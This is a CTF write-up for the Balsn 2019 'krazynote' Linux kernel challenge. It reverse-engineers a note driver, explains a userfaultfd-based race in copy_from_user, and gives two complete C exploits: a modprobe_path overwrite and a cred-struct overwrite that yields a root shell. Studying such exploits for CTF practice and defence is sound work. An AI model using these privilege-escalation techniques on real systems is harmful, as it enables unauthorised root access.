balsn2019-krazynote

henry Lv4

balsn2019-krazynote

参考链接:https://www.jianshu.com/p/a70a358ec02c

这题主要感觉逆向起来比较恶心,在逆明白之后通过条件竞争还是蛮简单的

静态分析

主要实现了四个功能:分别为 new,update,show,delete

1
2
3
4
5
struct note_req{
uint8_t idx;
size_t size;
char *content;
};

new == 0xFFFFFF00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if ( (_DWORD)a2 != 0xFFFFFF00 )
return -25LL;
v27 = -1LL;
v7 = 0LL;
while ( 1 )
{
v8 = (int)v7;
if ( !database[v7] )
break;
if ( ++v7 == 16 )
return -14LL;
}
v20 = (_QWORD *)qword_B40;
v27 = v8;
database[v8] = qword_B40;
v20[1] = v3;
v21 = (char *)(v20 + 3);
*v20 = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0x7E8) + 80LL);
v22 = size_;
v23 = content_;
qword_B40 = (__int64)v20 + size_ + 0x18;
if ( size_ > 0x100 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, size_);
BUG();
}
_check_object_size(src, size_, 0LL);
copy_from_user(src, v23, v22); // ==============stuck=============
v24 = size_;
v25 = (_QWORD *)database[v27];
if ( size_ )
{
v26 = 0LL;
do
{
src[v26 / 8] ^= *v25;
v26 += 8LL;
} // 加密处理
while ( v26 < v24 );
}
memcpy(v21, src, v24);
result = 0LL;
v25[2] = &v21[-page_offset_base];

​ 通过分析可以逆向出 note 结构体如下所示:

1
2
3
4
5
6
struct note{
size_t key;
size_t size;
char *content_offset;
char content[];
};

nipaste_2024-03-29_16-12-2

​ 需要注意的是 content_offset 字段,它是相对于 page_offset_base 地址来进行定位。

update == 0xFFFFFF01

nipaste_2024-03-29_16-14-2

​ 这里我们可以通过上面的 copy_from_user 条件竞争来实现利用。

read == 0xFFFFFF02

nipaste_2024-03-29_16-16-0

delete == 0xFFFFFF03

nipaste_2024-03-29_16-16-5

漏洞分析

直接借用 bsauce 大佬的说明进行解释,比较清楚

考虑以下两线程:

thread 1 thread 2
edit note 0 (size 0x10) idle
copy_from_user idle
idle delete all notes
idle add note 0 with size 0x0
idle add note 1 with size 0x0
continue edit of note 0 (size 0x10) idle

由于edit时copy_from_user首次访问mmap地址,触发缺页处理函数,等线程2删除所有note并重新添加两个note后,线程1才继续编辑note 0,此时的编辑content size还是0x10,所以就会产生溢出。

漏洞利用

通过上面分析,我们可以溢出写修改 note1 的size,从而完成越界读,泄露出地址后,可以通过控制 content_offset 来完成任意写。

方法一 利用任意读写打 modprobe

1
2
3
4
5
char buf[0x100];
delete_data();
input_data(0, 0x0, buf);
input_data(1, 0x0, buf);
temp_page_for_stuck[0] = 0xf0; // modify note1 size == 0xf0

nipaste_2024-03-29_16-23-5

这里完成对 note1 size 的修改为 0xf0,但从上图可以看到note的分配仍然从 0x550 开始,这意味着我们可以通过 note1来完成对后面note内容的修改,比如我们创建 note2 之后 利用note1溢出写 note2 的 content_offset 段从而就可以完成任意写了。

nipaste_2024-03-29_16-28-1

修改后内容如下:

nipaste_2024-03-29_16-28-4

最终返回flag内容

nipaste_2024-03-29_16-29-2

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <ctype.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <stddef.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
#define CPU_ENTRY_ARAE 0xfffffe0000000000
#define DB_STACK_ADDR 0xfffffe0000010f30
#define SECONDARY_STARTUP_64 0xffff88800009d000

void err_msg(char *msg)
{
printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
exit(0);
}
void output_msg(char *msg)
{
printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
output_msg("Process binded to core");
}

// this is a universal function to print binary data from a char* array
void print_binary(void *addr, int len)
{
size_t *buf64 = (size_t *) addr;
char *buf8 = (char *) addr;
for (int i = 0; i < len / 8; i += 2) {
printf(" %04x", i * 8);
for (int j = 0; j < 2; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

void register_userfaultfd(pthread_t *monitor_thread, void *addr,
unsigned long len, void *(*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
err_msg("userfaultfd");
}

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
err_msg("ioctl-UFFDIO_API");
}

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
err_msg("ioctl-UFFDIO_REGISTER");
}

s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
if (s != 0) {
err_msg("pthread_create");
}
}

void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread,
void *buf, unsigned long len, void *(*handler)(void*))
{
register_userfaultfd(monitor_thread, buf, len,
handler);
}

int note_fd;

struct note_req{
uint8_t idx;
size_t size;
char *content;
};

void input_data(int idx, size_t size, char *content){
struct note_req req = {.idx = idx, .size = size, .content = content};
ioctl(note_fd, 0xFFFFFF00, &req);
}

void update_data(int idx, size_t size, char *content){
struct note_req req = {.idx = idx, .size = size, .content = content};
ioctl(note_fd, 0xFFFFFF01, &req);
}

void read_data(int idx, size_t size, char *content){
struct note_req req = {.idx = idx, .size = size, .content = content};
ioctl(note_fd, 0xFFFFFF02, &req);
}

void delete_data(){
struct note_req req;
ioctl(note_fd, 0xFFFFFF03, &req);
}

char temp_page_for_stuck[0x1000];
void *leak_func_handler(void *args){
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) args;

for (;;) {
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1) {
err_msg("poll");
}

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0) {
err_msg("EOF on userfaultfd!\n");
}

if (nread == -1) {
err_msg("read");
}

if (msg.event != UFFD_EVENT_PAGEFAULT) {
err_msg("Unexpected event on userfaultfd\n");
}

/*list actions here you want to do*/
printf("hello hijack you!\n");
char buf[0x100];
delete_data();
input_data(0, 0x0, buf);
input_data(1, 0x0, buf);
temp_page_for_stuck[0] = 0xf0; // modify note1 size == 0xf0


uffdio_copy.src = (unsigned long long) temp_page_for_stuck;
uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &
~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
err_msg("ioctl-UFFDIO_COPY");
}

return NULL;
}
}

#define root_script_path "/home/note/get_flag"
char* instruction = "#!/bin/sh\nchmod 777 /flag";
void get_flag()
{
/* create fake modprobe_path file first*/
int root_script_fd = open(root_script_path, O_RDWR | O_CREAT, 0777);
if(root_script_fd < 0) err_msg("fail to create " root_script_path);
write(root_script_fd, instruction, 0x1a);
close(root_script_fd);
system("chmod 777 " root_script_path);
// system("cat " root_script_path);
system("echo '\xff\xff\xff\xff' > /home/note/fake");
system("chmod +x /home/note/fake");
system("/home/note/fake");
system("cat /flag");
}


int pipe_fd[2];
pthread_t uffd_leak;
size_t page_offset_base;
size_t kcanary, kcanary_addr, kstack_addr;
size_t search_addr = 0xffff888000000000;
size_t init_cred = 0xffffffff82a4cbf8;
size_t commit_creds = 0xffffffff810bb5b0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;
size_t pop_rdi_ret = 0xffffffff81002c9d;
size_t modprobe_path = 0xffffffff8205e0e0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff82000ed0;
int main()
{
char buf[0x1000];
size_t key, offset_addr;

note_fd = open("/dev/note",O_RDONLY);
if(note_fd < 0) err_msg("Fail open device...");

char *leak_page = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_for_thread_stucking(&uffd_leak, leak_page + PAGE_SIZE, PAGE_SIZE, leak_func_handler);

//STEP.1 leak key & page_offset_base
memset(buf, 0, 0x100);
input_data(0, 0x10, buf);
update_data(0, 0xf0, leak_page + PAGE_SIZE - 8);
output_msg("overwrite note1 size and leak key");
read_data(1, 0xf0, buf);
print_binary(buf, 0x20);
key = *(size_t *)&buf[0];
page_offset_base = key & 0xfffffffff0000000;
print_addr("key", key);
print_addr("page_offset_base", page_offset_base);

output_msg("apply note2 to ar & aw");
memset(buf, 0, 0x100);
input_data(2, 0x20, buf);

//STEP.2 leak kernel base by arbitray read with secondary_startup_64
memset(buf, 0, 0x100);
*(size_t *)&buf[0] = key ^ key;
*(size_t *)&buf[8] = 0x20 ^ key;
*(size_t *)&buf[0x10] = (0x9d000) ^ key;
update_data(1, 0x20, buf);
output_msg("leak kernel_base");
read_data(2, 0x20, buf);
print_binary(buf, 0x20);
kernel_offset = (*(size_t *)&buf[0] ^ key) - 0x30 - kernel_base;
modprobe_path += kernel_offset;
print_addr("kernel_offset", kernel_offset);
print_addr("modprobe_path", modprobe_path);

//STEP.3 modify modporbe to leak flag
memset(buf, 0, 0x100);
*(size_t *)&buf[0] = key ^ key;
*(size_t *)&buf[8] = 0x20 ^ key;
*(size_t *)&buf[0x10] = (modprobe_path - page_offset_base) ^ key;
update_data(1, 0x20, buf);

memset(buf, 0, 0x100);
strcpy(buf, root_script_path);
*(size_t *)&buf[0] ^= key;
*(size_t *)&buf[8] ^= key;
*(size_t *)&buf[0x10] ^= key;
output_msg("modify modprobe!");
update_data(2, 0x20, buf);
get_flag();
// read_data(0, 0x20, buf);
return 0;
}

方法二 利用任意读写修改 cred 提权

参考链接:https://www.jianshu.com/p/07994f8b2bb0 中的第一种方法

1. cred结构体

​ 每个线程在内核中都对应一个线程栈、一个线程结构块thread_info去调度,结构体同时也包含了线程的一系列信息。thread_info结构体存放位于线程栈的最低地址,对应的结构体定义

1
2
3
4
5
6
7
8
9
struct thread_info {
struct task_struct *task; /* main task structure */ <--重要
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};

​ thread_info中最重要的信息是task_struct结构体,定义在(\include\linux\sched.h 1390)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//裁剪过后 
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
... ...

/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
/* file system info */
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
... ...
};

其中,cred结构体(\include\linux\cred.h 118)就表示该线程的权限。只要将结构体的uid~fsgid全部覆写为0即可提权该线程(root uid为0)。前28字节!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

这个结构体在线程初始化由prepare_creds函数创建,创建cred的方法是kmem_cache_alloc。

2. 漏洞利用

思路:利用任意读找到cred结构体,再利用任意写,将用于表示权限的数据位写0,即可提权。

搜索cred结构体:task_struct里有个char comm[TASK_COMM_LEN];结构,这个结构可通过prctl 函数中的PR_SET_NAME功能,设置为一个小于16字节的字符串。

1
prctl(PR_SET_NAME, "try2findmehenry!")

方法:设定该值作为标记,利用任意读找到该字符串,即可找到task_structure,进而找到cred结构体,再利用任意写提权。

确定爆破范围:task_structure是通过调用kmem_cache_alloc_node()分配的,所以kmem_cache_alloc_node应该存在内核的直接映射区。(\kernel\fork.c 140)。

1
2
3
4
static inline struct task_struct *alloc_task_struct_node(int node)
{
return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}

根据内存映射图,爆破范围应该在0xffff880000000000~0xffffc80000000000。

板子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(prctl(PR_SET_NAME, "try2findmehenry!"))
err_msg("prctl set name failed");
memset(buf, 0, 0x100);
*(size_t *)&buf[0] = 0 ^ key;
*(size_t *)&buf[8] = 0xff ^ key;
output_msg("it's time to find cred, please wait patiently");
unsigned long* idx;
for(size_t off = 0; off < (0xffffc80000000000 - 0xffff888000000000); off += 0x100){
*(size_t *)&buf[0x10] = off ^ key;
update_data(1, 0x20, buf);
read_data(2, 0xff, cred_info);
idx = (unsigned long*)memmem(cred_info, 0x100, "try2findmehenry", 14);
if(idx){
cred = idx[-1];
real_cred = idx[-2];
printf("it's here %s\n", (char*)idx);
if(cred < 0xfff0000000000000 || real_cred < 0xfff0000000000000)
continue;
output_msg("found real_cred & cred addr");
print_addr("cred", cred);
print_addr("real_cred", real_cred);
break;
}
}

根据实际情况调整即可

nipaste_2024-03-29_17-57-1

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <stdint.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
#define CPU_ENTRY_ARAE 0xfffffe0000000000
#define DB_STACK_ADDR 0xfffffe0000010f30
#define SECONDARY_STARTUP_64 0xffff88800009d000

void err_msg(char *msg)
{
printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
exit(0);
}
void output_msg(char *msg)
{
printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
output_msg("Process binded to core");
}

// this is a universal function to print binary data from a char* array
void print_binary(void *addr, int len)
{
size_t *buf64 = (size_t *) addr;
char *buf8 = (char *) addr;
for (int i = 0; i < len / 8; i += 2) {
printf(" %04x", i * 8);
for (int j = 0; j < 2; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

void register_userfaultfd(pthread_t *monitor_thread, void *addr,
unsigned long len, void *(*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
err_msg("userfaultfd");
}

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
err_msg("ioctl-UFFDIO_API");
}

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
err_msg("ioctl-UFFDIO_REGISTER");
}

s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
if (s != 0) {
err_msg("pthread_create");
}
}

void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread,
void *buf, unsigned long len, void *(*handler)(void*))
{
register_userfaultfd(monitor_thread, buf, len,
handler);
}

int note_fd;

struct note_req{
uint8_t idx;
size_t size;
char *content;
};

void input_data(int idx, size_t size, char *content){
struct note_req req = {.idx = idx, .size = size, .content = content};
ioctl(note_fd, 0xFFFFFF00, &req);
}

void update_data(int idx, size_t size, char *content){
struct note_req req = {.idx = idx, .size = size, .content = content};
ioctl(note_fd, 0xFFFFFF01, &req);
}

void read_data(int idx, size_t size, char *content){
struct note_req req = {.idx = idx, .size = size, .content = content};
ioctl(note_fd, 0xFFFFFF02, &req);
}

void delete_data(){
struct note_req req;
ioctl(note_fd, 0xFFFFFF03, &req);
}

char temp_page_for_stuck[0x1000];
void *leak_func_handler(void *args){
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) args;

for (;;) {
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1) {
err_msg("poll");
}

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0) {
err_msg("EOF on userfaultfd!\n");
}

if (nread == -1) {
err_msg("read");
}

if (msg.event != UFFD_EVENT_PAGEFAULT) {
err_msg("Unexpected event on userfaultfd\n");
}

/*list actions here you want to do*/
printf("hello hijack you!\n");
char buf[0x100];
delete_data();
input_data(0, 0x0, buf);
input_data(1, 0x0, buf);
temp_page_for_stuck[0] = 0xf0; // modify note1 size == 0xf0


uffdio_copy.src = (unsigned long long) temp_page_for_stuck;
uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &
~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
err_msg("ioctl-UFFDIO_COPY");
}

return NULL;
}
}

#define root_script_path "/home/note/get_flag"
char* instruction = "#!/bin/sh\nchmod 777 /flag";
void get_flag()
{
/* create fake modprobe_path file first*/
int root_script_fd = open(root_script_path, O_RDWR | O_CREAT, 0777);
if(root_script_fd < 0) err_msg("fail to create " root_script_path);
write(root_script_fd, instruction, 0x1a);
close(root_script_fd);
system("chmod 777 " root_script_path);
// system("cat " root_script_path);
system("echo '\xff\xff\xff\xff' > /home/note/fake");
system("chmod +x /home/note/fake");
system("/home/note/fake");
system("cat /flag");
}


int pipe_fd[2];
pthread_t uffd_leak;
size_t page_offset_base;
size_t kcanary, kcanary_addr, kstack_addr;
size_t search_addr = 0xffff888000000000;
size_t init_cred = 0xffffffff82a4cbf8;
size_t commit_creds = 0xffffffff810bb5b0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;
size_t pop_rdi_ret = 0xffffffff81002c9d;
size_t modprobe_path = 0xffffffff8205e0e0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff82000ed0;
int main()
{
char buf[0x1000];
char cred_info[0x100];
size_t real_cred, cred;
size_t key, offset_addr;

note_fd = open("/dev/note",O_RDONLY);
if(note_fd < 0) err_msg("Fail open device...");

char *leak_page = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_for_thread_stucking(&uffd_leak, leak_page + PAGE_SIZE, PAGE_SIZE, leak_func_handler);

//STEP.1 leak key & page_offset_base
memset(buf, 0, 0x100);
input_data(0, 0x10, buf);
update_data(0, 0xf0, leak_page + PAGE_SIZE - 8);
output_msg("overwrite note1 size and leak key");
read_data(1, 0xf0, buf);
print_binary(buf, 0x20);
key = *(size_t *)&buf[0];
page_offset_base = key & 0xfffffffff0000000;
print_addr("key", key);
print_addr("page_offset_base", page_offset_base);

output_msg("apply note2 to ar & aw");
memset(buf, 0, 0x100);
input_data(2, 0x20, buf);

//STEP.2 leak kernel base by arbitray read with secondary_startup_64
memset(buf, 0, 0x100);
*(size_t *)&buf[0] = key ^ key;
*(size_t *)&buf[8] = 0x20 ^ key;
*(size_t *)&buf[0x10] = (0x9d000) ^ key;
update_data(1, 0x20, buf);
output_msg("leak kernel_base");
read_data(2, 0x20, buf);
print_binary(buf, 0x20);
kernel_offset = (*(size_t *)&buf[0] ^ key) - 0x30 - kernel_base;
print_addr("kernel_offset", kernel_offset);

//STEP.3 find cred and modify it to get root!
if(prctl(PR_SET_NAME, "try2findmehenry!"))
err_msg("prctl set name failed");
memset(buf, 0, 0x100);
*(size_t *)&buf[0] = 0 ^ key;
*(size_t *)&buf[8] = 0xff ^ key;
output_msg("it's time to find cred, please wait patiently");
unsigned long* idx;
for(size_t off = 0; off < (0xffffc80000000000 - 0xffff888000000000); off += 0x100){
*(size_t *)&buf[0x10] = off ^ key;
update_data(1, 0x20, buf);
read_data(2, 0xff, cred_info);
idx = (unsigned long*)memmem(cred_info, 0x100, "try2findmehenry", 14);
if(idx){
cred = idx[-1];
real_cred = idx[-2];
printf("it's here %s\n", (char*)idx);
if(cred < 0xfff0000000000000 || real_cred < 0xfff0000000000000)
continue;
output_msg("found real_cred & cred addr");
print_addr("cred", cred);
print_addr("real_cred", real_cred);
break;
}
}

if(cred < 0xfff0000000000000 || real_cred < 0xfff0000000000000)
err_msg("Fail to find cred, please try again!");

memset(buf, 0, 0x100);
*(size_t *)&buf[0] = 0 ^ key;
*(size_t *)&buf[8] = 0x28 ^ key;
*(size_t *)&buf[16] = (real_cred + 4 - page_offset_base) ^ key;
update_data(1, 0x20, buf);
memset(cred_info, 0, 0x28);
update_data(2, 0x28, cred_info);

if(getuid() == 0){
printf("[+] you are great man!");
system("/bin/sh");
}
return 0;
}
  • Title: balsn2019-krazynote
  • Author: henry
  • Created at : 2024-04-02 11:34:15
  • Updated at : 2024-04-02 11:52:51
  • Link: https://henrymartin262.github.io/2024/04/02/balsnCTF2019-krazynote/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments